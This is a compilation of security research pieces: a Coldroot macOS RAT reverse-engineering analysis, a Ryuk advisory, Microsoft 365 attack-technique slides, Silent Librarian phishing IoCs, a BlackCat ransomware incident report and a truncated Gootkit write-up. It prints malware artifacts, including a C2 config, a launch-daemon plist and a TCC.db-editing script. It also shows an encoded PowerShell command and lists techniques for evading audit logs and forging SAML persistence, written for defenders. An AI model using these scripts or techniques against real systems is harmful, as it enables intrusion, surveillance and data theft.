`PASCALMAIN` function. Due to the presence of debug strings and verbose method names, reversing is actually quite easy! First, the malware loads its 'settings'. It does this by first building a path to its settings file, then invoking the `LOADSETTINGS` function. If the loading succeeds, it logs a "LoadSettings ok" message. Where is the malware's settings file? Well, if we look at the disassembly, we can see it appending "conx.wol" to the file path of the malware's binary (e.g., com.apple.audio.driver.app/Contents/MacOS/) and then checking if that file exists. Opening the settings file, "conx.wol," reveals the malware's configuration (in plaintext JSON): ```json { "PO": 80, "HO": "45.77.49.118", "MU": "CRHHrHQuw JOlybkgerD", "VN": "Mac_Vic", "LN": "adobe_logs.log", "KL": true, "RN": true, "PN": "com.apple.audio.driver" } ``` The meaning of the settings can be ascertained by their abbreviation and/or value. For example, 'PO' is port (HTTP, 80), 'HO' is host (attacker's command & control server at 45.77.49.118). 'MU' is likely 'mutex', while 'VN' is the name of the victim. The 'LN' value is the name of the log file for the keylogger ('KL'). I'm guessing 'RN' is for run normal - meaning the implant can run as a default user (vs. root). Finally, 'PN' is the process name of the malware. Once the malware has loaded its settings from conx.wol, it persistently installs itself. The logic for the install is contained in the `_INSTALLMEIN_$$_INSTALL` function: The `_INSTALLMEIN_$$_INSTALL` performs the following steps: 1. Copies itself to /private/var/tmp/ 2. Builds a launch daemon plist in memory 3. Writes it out to com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver.plist 4. Executes /bin/cp to install it into the /Library/LaunchDaemons/ directory 5. Launches the newly installed launch daemon via /bin/launchctl The 'template' for the launch daemon plist is embedded directly in the malware's binary. Once saved to disk, we can easily dump the plist's contents: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ... > <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.audio.driver</string> <key>Program</key> <string>/private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver</string> <key>ProgramArguments</key> <array> <string>/private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver</string> </array> <key>KeepAlive</key> <true/> <key>RunAtLoad</key> <true/> <key>UserName</key> <string>root</string> </dict> </plist> ``` As the RunAtLoad key is set to true, the OS will automatically start the malware anytime the infected system is rebooted. We can dynamically watch the install unfold by simply running the malware, whilst ProcInfo (my open-source process monitor) is running. The astute reader will have noted that the install (copy) operation and launching of the daemon is executed as root (user: 0). The malware accomplishes this by executing these operations via its `_LETMEIN_$$_EXEUTEWITHPRIVILEGES$$BOOLEAN` function. Reversing this function reveals it simply invokes Apple's `AuthorizationExecuteWithPrivileges` function. 'Under the hood' the OS invokes `/usr/libexec/security_authtrampoline` in order to execute the specified process as root (security_authtrampoline is setuid). Of course, in order for `AuthorizationExecuteWithPrivileges` to succeed, user credentials are required and must be entered via an OS authentication prompt. The malware hopes the naive user will simply enter such credentials. Besides persistently installing itself as a launch daemon, the `_INSTALLMEIN_$$_INSTALL` function also attempts to provide the malware with accessibility rights (so that it may perform system-wide keylogging). In order to gain such rights, the malware first creates the `/private/var/db/.AccessibilityAPIEnabled` file and then modifies the privacy database TCC.db. The former affords accessibility rights on older versions of macOS. The logic to enable accessibility rights can be found in a bash script that the malware creates in `/private/var/tmp/runme.sh`: ```bash #!/bin/sh touch /private/var/db/.AccessibilityAPIEnabled && sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "INSERT or REPLACE INTO access (service, client, client_type, allowed, prompt_count) VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);" ``` Though this script is executed as root, on newer versions of macOS (Sierra+) it will fail as the privacy database is now protected by SIP. However, on older versions of OSX/macOS, the malware will gain accessibility rights. At this point, the malware is now fully persistently installed and will be started as root each time the infected system is (re)started. Let's now look at the malware's features and capabilities. Each time the malware is up and running, it performs two main tasks: 1. Kicks off keylogging logic 2. Checks in with the command & control server and performs any received tasking The keylogging logic (referred to as 'keyloser') is started when the malware executes `_KEYLOSER$_$TKEYLOGGERTHREAD_$__$$_CREATE$$TKEYLOGGERTHREAD` from `PASCALMAIN`. The keylogger thread eventually invokes a function at `0x0006a950` which starts the actual keylogging logic. Looking at its decompilation, it's easy to see that the malware is using Apple's CoreGraphics APIs to capture key presses. Speaking of keylogging via CoreGraphics APIs, I'm actually also talking about this in my SyScan360 talk. As we can see in the malware's code, to capture keystrokes: simply create an 'event tap', enable it, and add it to the current runloop (note that root/accessibility is required to capture all key presses). Now, any time the user generates a key event, the OS will automatically call the callback function that was specified in the call to `CGEventTapCreate`. For the malware, this is `sub_6a3d0`. The code in the `sub_6a3d0` function simply formats and logs the key press to the file specified in the "LN" value of the settings file: `adobe_logs.log`. Once the keylogging thread is off and running, it kicks off the main client thread via a call to `CONNECTIONTHREAD$_$TMAINCLIENTTHREAD_$__$$_CREATE$BOOLEAN$$TMAINCLIENTTHREAD`. This first opens a connection to the malware's command & control server whose IP address and port are specified in the malware's settings file, `conx.wol`. Once a connection has been made, the OSX/Coldroot gathers some information about the infected host and sends it to the server. The survey logic is implemented in a function at address `0x000636c0`, which calls various functions such as `GETHWIDSERIAL`, `GETUSERNAME`, and `GETRAMSIZEALL`. In a debugger (lldb), we can set a breakpoint on send and then dump the bytes being sent to the command & control server. Once OSX/Coldroot has checked in, it will process any tasking returned from the command & control server. The logic for this is implemented in the `_NEWCONNECTIONS_$$_PROCESSPACKET$TIDTCPCLIENT$TIDBYTES` function. This function parses out the command from the command & control server and then processes (acts upon) it. Via static analysis, we can determine what commands are supported by the malware. When the malware receives command #7 from the command & control server, it executes the logic at `0x000694aa`. In the same block of code, it contains the debug string "Delete File: ", a call to a function named `DELETEFILEFOLDER`, and other debug string, "{{{{ Delete OK Lets test }}}}". Repeating this process for the other commands reveals the following capabilities: - File/directory list - File/directory rename - File/directory delete - Process list - Process execute - Process kill - Download - Upload - Get active window - Remote desktop - Shutdown All are self-explanatory and implemented in fairly standard ways (i.e., delete file calls `unlink`), save perhaps for the remote desktop command. When the malware receives a command from the server to start a remote desktop session, it spawns a new thread named: 'REMOTEDESKTOPTHREAD'. This basically sits in a while loop (until the 'stop remote desktop' command is issued), taking and 'streaming' screen captures of the user's desktop to the remote attacker. It should be noted that if no command or tasking is received from the command & control server, the malware will simply continue beaconing, interestingly sending the name of the user's active window in each heartbeat. ### Coldroot Once the technical analysis of the malware was complete, I began googling around on the search term: Coldzer0. Looking at the disassembly of OSX/Coldroot, we can see this string embedded in the binary, purportedly identifying the author's handle: "Coded By Coldzer0 / Skype:Coldzer01". Besides revealing the likely identity of the malware author, this turns up: - Source code for an old (incomplete) version of Coldroot - An informative demo video of the malware The source code, though old and incomplete, provides some confirmation of our analysis. For example, the PacketTypes.pas file contains information about the malware's protocol and tasking commands. The demo video visually illustrates how an attacker can build (and customize) deployable agents and how they can be remotely interacted with and tasked. ### Conclusions In this blog post, we provided a comprehensive technical analysis of the macOS agent of the cross-platform RAT OSX/Coldroot. Though not particularly sophisticated, it's rather 'feature complete' and currently undetected by all AV engines on VirusTotal. Moreover, it is a good illustrative example that hackers continue to target macOS! And remember, if you want to stay safe, running the latest version of macOS will definitely help! For one, due to a bug in UPX, the OS refuses to even run the malware. Also, as mentioned, Apple now protects TCC.db via SIP, so the system-wide keylogging capabilities of OSX/Coldroot should be mitigated. Moreover, my free tools such as BlockBlock and LuLu can generically thwart such threats. If you are worried that you are infected, look for an unsigned launch daemon running out of /private/var/tmp/. KnockKnock can help with this task.
# Hacking Group is Targeting US Hospitals with Ryuk Ransomware In a joint statement, the U.S. government is warning the healthcare industry that a hacking group is actively targeting hospitals and healthcare providers in Ryuk ransomware attacks. Today, the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Health and Human Services (HHS) announced a call with the healthcare industry to warn them of an 'Increased and Imminent Cybercrime Threat.' On this call, the U.S. government warned healthcare providers that Ryuk ransomware is actively targeting the healthcare industry and that proper steps should be taken to secure their systems. These steps include preparing network lockdown protocols, reviewing incident response plans, installing patches on Windows servers and edge gateway devices, limiting personal email, and creating strategies on where to redirect patients in the event of an attack. One source told BleepingComputer that it was recommended that all devices should be turned off when not in use in case of an attack. Since the call, CISA, FBI, and HHS have released a joint advisory containing information about the Ryuk ransomware threat, including indicators of compromise (IOC). "CISA, FBI, and HHS have credible information of an increased and imminent cybercrime threat to U.S. hospitals and healthcare providers. CISA, FBI, and HHS are sharing this information to provide warning to healthcare providers to ensure that they take timely and reasonable precautions to protect their networks from these threats," the advisory states. In the past two days, Sky Lakes Medical Center in Oregon and St. Lawrence Health System in New York were both hit in Ryuk ransomware attacks that impacted the treatment of patients. Last month, hospital operator Universal Health Services was hit by a corporate-wide Ryuk attack, which impacted over 200 medical facilities nationwide. ## UNC1878 Hacking Group Behind Threat Charles Carmakal, senior vice president and CTO of Mandiant, told BleepingComputer that a hacking group known as UNC1878 is behind the Ryuk attacks on the healthcare industry. "We are experiencing the most significant cybersecurity threat we’ve ever seen in the United States. UNC1878, an Eastern European financially motivated threat actor, is deliberately targeting and disrupting U.S. hospitals, forcing them to divert patients to other healthcare providers. Patients may experience prolonged wait times to receive critical care," Carmakal said in a statement to BleepingComputer. In a conversation with Carmakal, BleepingComputer was told that this group is highly efficient, with ransomware being deployed in some cases within 45 minutes of a network being compromised. Victims are then left with 7-8 figure ransom demands to get a decryptor for their encrypted files. At the beginning of the Coronavirus pandemic, BleepingComputer reached out to different ransomware operations to see if they would continue to attack healthcare and medical organizations. While most ransomware gangs said they would decrypt hospitals for free, Ryuk ransomware did not respond to our queries. ## From BazarLoader to Ryuk Lately, Ryuk attacks usually start with a phishing campaign that installs the BazarLoader/KegTap infection on a recipient's computer. The phishing emails are targeted at a particular organization and can include lures ranging from invoices to customer complaints. These emails include links to Google Docs that pretend to be PDFs that cannot be previewed correctly. These docs prompt the user to click on a link to download the document. The downloaded file is an executable that will install the BazarLoader infection onto a victim's computer when executed. When installed, BazarLoader will eventually deploy Cobalt Strike, which allows threat actors to remotely access the victim's computer and use it to compromise the rest of the network. To quickly gain Windows domain admin credentials, Carmakal told BleepingComputer that the group had been seen using the Windows ZeroLogon vulnerability. For this reason, users must install necessary patches on all Windows servers. After gaining access to a Windows domain controller, the attackers deploy the Ryuk ransomware on the network to encrypt all of its devices. Advanced Intel's Vitali Kremez told BleepingComputer that their Andariel threat prevention platform has been tracking an increased amount of attacks against healthcare using BazarLoader. "The crime group behind continues to target various industries including healthcare. Currently, the healthcare and social services targeting comprises 13.36% of the total victim by industries," Kremez told BleepingComputer. FireEye has also released a report today with TTPs that can be used to learn more about UNC1878 attack methods. Carmakal told BleepingComputer that these attack methods are constantly changing, so the listed IOCs and TTPs would likely change in new attacks.
# Cloudy with a Chance of APT ## Novel Microsoft 365 Attacks in the Wild ### Doug Bienstock - Incident Response Manager – 7 years @ Mandiant - Incident Response and Red Team lead - Author of adfsdump/spoof, pwnauth - Lifelong Green Bay Packers fan ### Josh Madeley - Manager of professional services – ~6 years @ Mandiant - Incident Response lead - Not an author of public tools - Canadian Ex-Pat that has adopted the Patriots as my team of choice ## What's Going On? - Last year demonstrated that Apex threat actors have become all stars at abusing Microsoft 365 to achieve their goals. - Large scale espionage campaigns targeted data stored within Microsoft 365. - Novel techniques used to: - Evade detection - Automate data theft - Persistent access beyond credential theft ## Avoiding Detection ### Disabling Security Features - Bypass mailbox audit logging - Set-MailboxAuditBypassAssociation - The following scenarios are not logged: - Mailbox Owner actions by specified users are not logged - Delegate actions performed by the users on other mailboxes - Admin Actions - Downgrade licenses to E3 - Save the target organization some money - Disables MailItemsAccessed logging ### Mailbox Folder Permission Abuse - Alternative to Mailbox Delegation - Mailbox owner, administrator, or an account with full access permissions can grant granular access to specific folders within a mailbox. - Part of Exchange Web Services (EWS). - Many legitimate use cases will be seen in most environments: - Sharing calendars - “Team” mailboxes - Assistants - First mentioned in red team context by Black Hills in 2017 post. ### Common Permissions - Permissions can be assigned as individual permissions or roles. - ReadItems grants access to read mail items in a specific folder. - Roles that have the ReadItems permission: - Author - Editor - NonEditingAuthor - Owner - PublishingEditor - PublishingAuthor - Reviewer* ### Two Special Users - Permissions can be assigned to individual users or mail-enabled security group. - Anonymous: Any external, unauthenticated users. - Default (aka “Everyone” in certain logs): Any internal, authenticated users. - By default, the access for both special users is set to None. ### Abuse - Assign the “Default” user “Reviewer” role to allow any authenticated user access to the mailbox folder. - Permissions do not cascade down from child to parent for existing folders, but newly created folders do inherit. - Set-MailboxFolderPermission cmdlet OR EWS Managed API calls using a tool like EWSEditor. ### Detection - Sign-Ins use EWS to access the modified folders and view email. - Coded as “non-interactive” sign-ins. - Non-existent in the Unified Audit Log and must be specifically enabled to forward to SIEM from other MSFT sources. - Unified Audit Log records Set-MailboxPermission events. - There will be noise from legitimate admin and background EXO activity. - If Mail Items Accessed auditing is enabled look here: - Throttling concerns. - Enumerate Mailbox Folder Permissions with PowerShell. - Can be slow and should be targeted towards high value accounts. ## Hijacking Enterprise Applications and App Registrations ### Types of Applications - Two types of Applications: - App Registrations: Initial instance of an application, lives in the tenant that created the app. Serves as a "blueprint" to create a service principal in any tenant that uses the application. - Enterprise Applications: AKA Service Principals. A ”copy” of the app registration that lives in the consuming tenant. - Everything in Microsoft 365 uses this model; Microsoft Services like EXO are “first-party” Service Principals. - The term "application" is used to refer to both Enterprise Applications and App Registrations. ### Application Permissions - Two types of permissions can be assigned: - Delegated Permissions: Enable apps to perform API operations on behalf of a user – limited to access data that user has access to. Users consent to the permissions at runtime. The application acts as that user. - Application Permissions: Enable apps to perform API operations without a signed in user and access tenant wide data. Requires Admin Consent. The application acts as itself. - Both App Registrations and Enterprise Applications can be assigned permissions. ### Secrets and Certificates - Applications can have secrets or certificates associated with them to allow authentication as the identity of the app. - Roughly analogous to API Keys. - Applications can have multiple secrets or certificates associated with them. - Once created, they cannot be extracted from Azure AD. - Both App Registrations and Enterprise Apps can have secrets assigned to them; Enterprise Apps can only have secrets assigned via PowerShell. ### Enterprise Application Hijacking - Attackers have modified two key components of existing applications: - Adding new MS Graph Application Permissions, specifically file.read and mail.read. - Adding new credentials (both secrets and certificates). - Access tenant data remotely using the Graph API. - Conditional Access Policies DO NOT APPLY when authenticating using app secrets. - Service Principal sign-in logs were not available until mid-2020 and they don’t show in the UAL. - There are dozens of Graph permissions to choose from: - Domain.ReadWrite.All – Add a rogue IdP. - Directory.ReadWrite.All. ### Abuse of App Registrations - Apps can be created as multi-tenant – customers can “add an app” to their tenant. - The App Registration is the “master copy” of the app and is linked to all Enterprise Apps in customer tenants. - If we compromise the App Registration we can access data stored in any tenant that has the Enterprise App copy. - All we need is the friendly name (e.g. Microsoft.com) of the tenant we want to access. - Good luck auditing activities that occur in someone else’s tenant. - Caveats: - Permissions in each individual tenant may be different. ## Golden SAML ### Decrypting the SigningToken - Uses Key Derivation Function from NIST SP 800-108 in Counter Mode. - DKM key is not used itself to decrypt Signing Certificate. - Used as initial input for HMAC-SHA256 Key Derivation (NIST SP 800-108). - Context is the Nonce decoded from blob. - Label is the OIDs of the encryption algorithms decoded from blob. - Outputs keys to use for AES encryption as well as SHA256 HMAC for verification of ciphertext. ### Are we there yet? - Claims issuance rules determine the claims that will be included in the issued SAML token. - Order of rules matters. - Defenders cannot see the claims that are put in the token BUT: - MSFT can, to a degree. - May be monitoring for tokens that have abnormal or unneeded claims. ### Token Lifetime - Set per Relying Party Trust. - Default value of 0 == 60 minutes. - Defenders cannot see the Token Lifetime of submitted SAML tokens BUT: - Microsoft can. - May be monitoring for abnormal token lifetimes. - Spoofed tokens could have a lifetime of years, but will not be valid once the ADFS signing token is rotated after normal 365-day lifespan. ### Bring your own signing cert - Why dump the existing signing certificates when we can just use our own? - Access to the AD FS server not required. - Similar to @DrAzureAD AAD Backdoor, but a little stealthier. - Set-MsolDomainFederationSettings: - Global Admin and other privileged roles have access through MSOnline PowerShell. - Nothing happens on the AD FS server. ### ADFS Replication - For larger orgs, AD FS servers can exist in a farm configuration. - By default, all farm nodes use the same configuration and secrets. - Nodes are kept in sync by a replication service that runs on the primary AD FS server (the first server that the AD FS role was installed on). - It actually runs on all farm nodes, useful for attackers. ### Replicating - Replication service uses Windows Communication Framework (WCF). - Framework to easily build client server applications. - Developer can build on top of preset channels (HTTP) and security (WS-Security, Kerberos). - Endpoint is available at http://sts.acme.com:80/policystoretransfer. - Kerberos based authentication using WS-TRUST SPNEGO. - Data payloads are encrypted using shared secret derived from the Kerberos session key. ### Escalate, persistently - Edit the ObjectACL for the DKM key to allow domain users read access. - Insert a new Authorization Policy into the AD FS database to permit access for the domain users GroupSID. - Any domain user can obtain the AD FS signing key from anywhere on the internal network. ### Why? - AD FS servers expose port 80 to all systems by default. - The AD FS role creates default firewall rules for us. - Stealth is built in for us. - Replication events are not logged at all. - Editing the AD FS configuration database is not logged either. - Auditing editing domain object ACLs (SACLs) is not often enabled in environments. ## The End
# An Investigative Analysis of the Silent Librarian IoCs By Jonathan Zhang, Founder and CEO of WhoisXMLAPI & ThreatIntelligencePlatform.com November 13, 2020 Views: 8,851 The Silent Librarian advanced persistent threat (APT) actors have been detected once again, as the academic year started in September. With online classes increasingly becoming the norm, the group’s phishing campaigns that aim to steal research data and intellectual property could have a high success rate. Dozens of phishing domain names have been reported, although some may have already been taken down. Still, the Silent Librarian APT group could have more weaponized domains in their arsenal, so we tried to uncover some connections throughout this investigative analysis using domain and IP intelligence. ## The IoCs: Commonalities and Characteristics Malwarebytes has identified 25 phishing subdomains and three IP addresses that targeted 21 universities and colleges worldwide. ### IP Geolocation Using IP geolocation, we identified that two malicious IP addresses were assigned to Iran, and another one to India. ### The Use of Subdomains The phishing subdomains used the same strings found in the universities’ legitimate domains but at the third-level domain under a different root domain. The phishing domain `library.adelaide.crev.me`, for example, looks much like the University of Adelaide Library’s legitimate domain `library.adelaide.edu.au`. Instances when the threat actors used the full legitimate domain, such as `idpz.utorauth.utoronto.ca.itlf.cf`, which targets the University of Toronto (legitimate domain: `idpz.utorauth.utoronto.ca`), were also found. ### TLD and Registrar Distribution of Root Domains Out of the 25 phishing subdomains, 14 root domains were identified. Ten of them are in the .me generic top-level domain (gTLD) space, two used .tk, while another two used .cf. **TLD Distribution of Phishing Root Domains (%)** WHOIS data showed that as of 5 November 2020, the two .cf domains (`itlf.cf` and `sftt.cf`) have already been dropped. All of the other domains remain active and have the following details: - Their registrar is NameCheap, Inc. - The .me domains use WhoisGuard, Inc. protection, while the .tk domains use Freedom Registry, Inc. - The registrant countries reflect that of the domains’ privacy protection services—Panama for WhoisGuard and the U.S. for Freedom Registry. All of the domains were recently registered with dates within 14 August and 2 October. ### Uncovering More Digital Footprints Noting the number of times the root domains were used as Silent Library indicators of compromise (IoCs), we discovered many possibly suspicious subdomains. The numbers are reflected in the table below. | Root Domain | Number of Times Used as a Silent Library IoC | Number of Subdomains Found through Subdomains Lookup | |-------------|-----------------------------------------------|-----------------------------------------------------| | itlf.cf | 2 | 17 | | itlt.tk | 1 | 13 | | itlib.me | 5 | 8 | | iftl.tk | 5 | 8 | | aroe.me | 1 | 4 | | crir.me | 1 | 4 | | canm.me | 1 | 3 | | crev.me | 2 | 3 | | rres.me | 1 | 3 | | cvrr.me | 1 | 2 | | ernn.me | 1 | 2 | | nrni.me | 1 | 2 | | sftt.cf | 2 | 2 | | ninu.me | 1 | 1 | We focused on investigating the second to fourth root domains in the list above: - itlt.tk - itlib.me - iftl.tk These domains had way more subdomains that were not used as IoCs. The first on the list, `itlf.cf`, is no longer active. Looking up subdomain and DNS data, we found 11 more subdomains that could be used to target universities, along with two IP addresses. The chart below shows the subdomains of the three root domains. The subdomains in red have already been reported as Silent Library IoCs, while the rest could still figure in future attacks. **Possible Phishing Subdomains** | Possible Phishing Subdomains | Target | |-------------------------------------------------------------------|---------------------------------| | library.libproxy.kcl.ac.uk.itlt.tk | King’s College London | | www.login.libproxy.kcl.ac.uk.itlt.tk | King’s College London | | www.library.libproxy.kcl.ac.uk.itlt.tk | King’s College London | | www.login.ki.se.itlt.tk | Karolinska Institutet | | login.ki.se.itlt.tk | Karolinska Institutet | | www.login.ki.se.iftl.tk | Karolinska Institutet | | www.sso.id.kent.ac.uk.iftl.tk | University of Kent | | www.shibboleth.mcgill.ca.iftl.tk | McGill University | | www.shib.york.ac.uk.iftl.tk | University of York | | auth.wright.edu.itlib.me | Wright State University | | sso.acu.edu.au.itlib.me | Australian Catholic University | Some of the Silent Library APT members have already been indicted in 2018, yet what remains of the group seem to continue targeting different universities across several continents. Constant investigation and monitoring are required to keep up.
# An Investigation of the BlackCat Ransomware via Trend Micro Vision One We recently investigated a case related to the BlackCat ransomware group using the Trend Micro Vision One™ platform, which comes with extended detection and response (XDR) capabilities. BlackCat (aka AlphaVM or AlphaV) is a ransomware family created in the Rust programming language and operated under a ransomware-as-a-service (RaaS) model. Our data indicates that BlackCat is primarily delivered via third-party frameworks and toolsets (for example, Cobalt Strike) and uses exploitation of exposed and vulnerable applications (for example, Microsoft Exchange Server) as an entry point. BlackCat has versions that work on both Windows and Linux operating systems and in VMware’s ESXi environment. In this incident, we identified the exploitation of CVE-2021-31207. This vulnerability abuses the New-MailboxExportRequest PowerShell command to export the user mailbox to an arbitrary file location, which could be used to write a web shell on the Exchange Server. In this blog entry, we discuss the kill chain used by the malicious actors behind this incident and how we used the Trend Micro Vision One platform to track the threats involved in the incident. We also dive deeper into the notable post-exploitation routines that were used until the host’s encryption. ## Finding the threats We begin with the Trend Micro Vision One platform, where we noticed an incident being created in the Vision One console with a few workbenches related to it. Upon checking, we noticed several suspicious web shells being dropped on the local Microsoft Exchange Server. Based on that information, we started the analysis of the Exchange Server. We first noticed that ASPX files, normally dropped after ProxyShell and ProxyLogon exploitation, were dropped and detected (Backdoor.ASP.WEBSHELL.SMYXBH5A) in the affected machine. This type of ProxyShell exploitation usually involves three vulnerabilities: CVE-2021-34473, CVE-2021-34523, and the previously mentioned CVE-2021-31207. The first two were patched in July 2021, while the last one was fixed in May 2021. Successful exploitation of these vulnerabilities could lead to arbitrary writing of files that an attacker could abuse to upload web shells to a target Exchange Server. In this engagement, we determined that CVE-2021-31207 was being actively exploited. The exploitation is performed by importing a web shell as an email inside the user draft mailbox. It is then exported to `c:/inetpub/wwwroot/aspnet_client/{5-random-digit}.aspx`. Upon analysis of the infected host, we identified several web shell variants used by the malicious actors. A web shell is a piece of code written in web development programming language, such as ASP or JSP, that attackers could drop onto web servers to gain remote access and the ability to execute arbitrary code and commands to meet their objectives. We discovered that the web shell employed in the attack uses the `exec_code` query parameter to execute the desired command. Once a web shell is successfully inserted into the victim’s server, it could allow remote attackers to perform various tasks, such as stealing data and dropping other malicious tools. In this engagement, we saw the Internet Information Services (IIS) process (`w3wp.exe`) spawning a PowerShell process that downloaded a Cobalt Strike beacon (detected as Backdoor.Win32.COBEACON.OSLJDO). The PowerShell method `WebClient.DownloadFile` was used to download a DLL file from the IP address `5[.]255[.]100[.]242`. After the download, the DLL was executed using `rundll32.exe` to call the exported function `ASN1_OBJECT_create`. Upon further investigation, we discovered that the DLL, `libeay32.dll`, was a tampered version of a known DLL normally used by OpenSSL and by other programs to help with SSL communication. The malicious actors modified an exported function of the DLL to host a Cobalt Strike stager shellcode. The DLL was using a nonvalid certificate that belonged to the video communications company Zoom and was issued by GoDaddy. Once executed, the exported function (`ASN1_OBJECT_create`) works as a loader for a classic Cobalt Strike stager shellcode. Although this function contains a lot of code, most of it is just junk code containing useless operations. What it really does is simply allocate memory using `VirtualAlloc`, copy a nonencrypted shellcode to the allocated region, and then transfer the execution to it. The shellcode then decrypts another shellcode, which is the Cobalt Strike stager shellcode. The stager performs an HTTP GET request to a remote server mimicking a normal jQuery request to the path `/jquery-3.5.1.slim.min.js`. The shellcode then reads the server response, allocates memory also using the `VirtualAlloc` function, copies the downloaded content to the allocated region, and then transfers the execution to a hard-coded offset within the downloaded content. Because of the way malleable command-and-control (C&C) stagers work, the behavior depends on the content being downloaded. During our research, we were not able to collect the payload from the remote server. However, using the Vision One platform, we collected enough information to be able to state that the downloaded payload managed to spawn the `WerFault.exe` process and inject into it the system to host another Cobalt Strike beacon. It should be noted that all the following activities described in this blog post were performed by the injected `WerFault.exe` process. While using the Vision One platform, we identified the C&C server used by the malicious actors. The spawned `WerFault.exe` process generated the following activities: - Discovered accounts (account discovery technique) - Dropped and executed the NetScan tool - Dropped and executed the Bloodhound tool - Dropped the CrackMapExec tool - Dropped other versions of the tampered DLL to remote machines (lateral movement) - Executed the PowerShell version of the Inveigh tool The following commands were executed for account discovery: - `net group “Domain Admins” /DOMAIN` - `net group “Domain Controllers” /DOMAIN` - `net group “Enterprise Admins” /DOMAIN` - `systeminfo` The NetScan tool was dropped on the file path `C:\Windows\debug` and used to scan the network (network discovery activities). The same directory was also used to drop other tools and samples described in this blog post. The NetScan tool, created by SoftPerfect, is capable of pinging remote computers, scanning ports, and discovering shared folders. After the initial account discovery, the BloodHound tool was dropped. This tool allows the analysis of Active Directory (AD) rights and relations. Using the collected data, BloodHound maps out AD objects such as users, groups, and computers, and then accesses and queries these relationships. CrackMapExec (aka CME) is a post-exploitation tool that abuses built-in AD features and protocols to achieve its functionality. Its capabilities include auto-injecting Mimikatz, shellcode, and DLLs into memory using PowerShell, and dumping NTDS.dit. The malicious actors tried to use the tool to dump credentials and conduct lateral movement through the network (detected as HackTool.Win32.Mpacket.SM). The spawned `WerFault.exe` process was also responsible for spreading other tampered versions of `libeay32.dll` to other machines across the environment via SMB. Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle penetration-testing tool. It can conduct spoofing attacks and NTLM challenge/response captures via SMB service. The information is captured through both packet sniffing and protocol-specific listeners/sockets. In this incident, the PowerShell version of Inveigh was used to spoof the mDNS (multicast DNS) and NBNS (NetBIOS Name Service) protocols. ## BlackCat execution Before the execution of the BlackCat ransomware, we identified suspicious batch scripts being used by the malicious actors to prepare the environment for encryption. A file named `spread.bat` was created, and the following PowerShell command was used to execute the `spread.bat` file. It should be noted that we could not collect the .bat file to verify its content. ```powershell powershell -nop -exec bypass -EncodedCommand LgBcAHMAcAByAGUAYQBkAC4AYgBhAHQAIABtAGsAcwBoAGEAcgBlACAAUgBFAEEARAA= ``` The Vision One platform decoded the command, resulting in the code shown in the following figure. Another batch file, `123.bat`, was executed. As with the previous batch file, we could not collect it to analyze its content. To execute the sample, a token is required to avoid automated sandbox analysis. However, any provided token can bypass the restriction and enable the malware execution. The ransomware also supports other commands, which can be obtained via the `-h` or `--help` parameters. The malicious actors used SysVol Share to host the BlackCat sample that was executed across the environment. This approach was used because the contents of SysVol Share are replicated across all domain controllers in the Windows Server domain, meaning that all machines will be able to access it. A copy of the sample was also dropped locally on the `C:\Windows\debug` folder. File permissions were changed using `icacls.exe`, a command-line utility that can be used to modify NTFS permissions, as well as net share commands. After preparing the environment, the malicious actors proceeded to execute the ransomware. Upon execution, BlackCat performs the following tasks: - Query the system UUID using `wmic`. - The universally unique identifier (UUID) is later used, together with the token, to identify the victim in a Tor website hosted by the malicious actors. - Delete volume shadow copies. - Use `BCDEdit` to disable recovery mode. - Increase the number of network requests that the server service can perform. This allows the malware to access enough files during the encryption process. - Stop the IIS service using `iisreset.exe`, a well-known tool used to handle IIS services. - Execute `arp` command to display current ARP (Address Resolution Protocol) entries. - Execute `Fsutil` to allow the use of both remote and local symlinks. - Clear all event logs via `wevutil.exe`. Once these tasks are finished, the target files are encrypted, and a 7-random-digit extension is added to the files. The ransom note (detected as Ransom.Win32.BLACKCAT.B.note) is then dropped. It informs the victim that their data has been stolen and instructs them to access a Tor onion domain. BlackCat samples, which are immediately detected by Trend Micro Predictive Machine Learning, are detected as Ransom.Win32.BLACKCAT.YXCCY. ## Conclusion and security recommendations This investigation gave us the opportunity to learn more about the BlackCat infection chain. It highlights the continued evolution of threats that are designed to evade detection. Notable capabilities and characteristics we observed included evasive tactics, such as masking a tampered DLL to make it seem legitimate. Organizations should take note of the continuing trend among malicious actors of using Cobalt Strike in attacks, living-off-the-land binaries (LOLBins), and red team or penetration-testing tools to blend in with the environment. For organizations, a good patch management protocol can help prevent the exploitation of vulnerable internet-facing servers. Early containment and mitigation are also essential to cut off more damaging attacks that compromise environments and deploy ransomware. In this case, close monitoring of the system and prompt detection could have prevented all that was described here from coming to pass. In analyzing and correlating ransomware attacks, the use of multilayered detection and response solutions such as Trend Micro Vision One can provide powerful XDR capabilities that collect and automatically correlate data across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed.
# BackDoor.Gootkit.112—a new multi-purpose backdoor Complex multi-component Trojans with backdoor features, i.e., those capable of executing a remote server’s commands on an infected computer, are rarities in the wild. Doctor Web's analysts recently examined one such program that has been named BackDoor.Gootkit.112. This review provides information about this malicious program’s design and operation. Apparently, the module responsible for installing the backdoor into the system and for its bootkit features was borrowed by BackDoor.Gootkit.112’s developers from the Trojan.Mayachok family of programs. However, the virus writers introduced a number of significant changes into the source code. The original Trojan.Mayachok generated a unique VBR code which was used to create another build of the malware. In the case of BackDoor.Gootkit.112, all the functions have been grouped in the dropper, which alters the Volume Boot Record (VBR) code during the infection process. The driver, to which control is transferred by the VBR code prior to system initialization, was also taken from the Trojan.Mayachok source code, but the code was partially rewritten, so most of the pointers (the shell-code to perform injections, and various tables) have been changed for reasons unknown. However, some pointers remained intact. In particular, one of them refers to the Homer Simpson quotation "Just pick a dead end and chill out till you die", which is output in the debugger after the loader's initialization. It is noteworthy that similar strings (mostly Homer Simpson quotations) were displayed in the debugger by TDSS Trojans (starting with BackDoor.Tdss.565 (TDL3) and older versions). The name Gootkit can be found in both the loader and the payload module code. In addition, all the driver components responsible for its interaction with other components operating in the user mode were also removed—in particular, the driver that enables them to use VFS. However, BackDoor.Gootkit.112 has features 